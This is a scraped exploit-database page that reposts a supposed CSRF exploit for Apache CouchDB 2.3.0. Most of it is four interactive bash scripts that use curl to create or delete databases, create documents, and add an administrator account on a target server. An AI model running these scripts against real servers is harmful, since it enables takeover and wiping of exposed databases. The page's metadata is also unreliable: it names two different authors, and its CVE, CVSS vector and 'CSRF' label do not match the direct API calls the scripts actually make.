Advertisement






Apache CouchDB 2.3.0 Cross Site Request Forgery

CVE Category Price Severity
CVE-2018-8007 CWE-352 $1,000 High
Author Risk Exploitation Type Date
Milad Hatami High Remote 2019-01-04
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019010034

Below is a copy:

Apache CouchDB 2.3.0 Cross Site Request Forgery
##################################################################################################################################
# Exploit Title: Apache CouchDB 2.3.0 Cross Site Request Forgery
# Date: 21.12.2018
# Exploit Author: Ozer Goker
# Vendor Homepage: http://couchdb.apache.org
# Software Link: http://couchdb.apache.org/#download
# Version: 2.3.0
##################################################################################################################################

Introduction

Apache CouchDB is open source database software that focuses on ease of use
and having a scalable architecture. It has a document-oriented NoSQL
database architecture and is implemented in the concurrency-oriented
language Erlang; it uses JSON to store data, JavaScript as its query
language using MapReduce, and HTTP for an API.

##################################################################################################################################

Bash Script for Cross Site Request Forgery

CSRF1

Create Database

echo -n "Enter IP:"
read IP
echo -n "Enter Port:"
read PORT
echo -n "Enter DB Name:"
read DB

curl -X PUT "$IP:$PORT/$DB"

##################################################################################################################################

Delete Database

echo -n "Enter IP:"
read IP
echo -n "Enter Port:"
read PORT
echo -n "Enter DB Name:"
read DB

curl -X DELETE "$IP:$PORT/$DB"

##################################################################################################################################

Create Document

echo -n "Enter IP:"
read IP
echo -n "Enter Port:"
read PORT
echo -n "Enter DB Name:"
read DB
echo -n "Enter Document Name:"
read DOC


curl -X PUT "$IP:$PORT/$DB/$DOC" --data '{"_id":"$DOC"}'

##################################################################################################################################

Create Admin


echo -n "Enter IP:"
read IP
echo -n "Enter Port:"
read PORT
echo -n "Enter Admin Username:"
read username
echo -n "Enter Admin Password:"
read password

curl -X PUT "$IP:$PORT/_node/couchdb@localhost/_config/admins/$username" -H
"content-type: application/json" --data \"$password\"

##################################################################################################################################

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum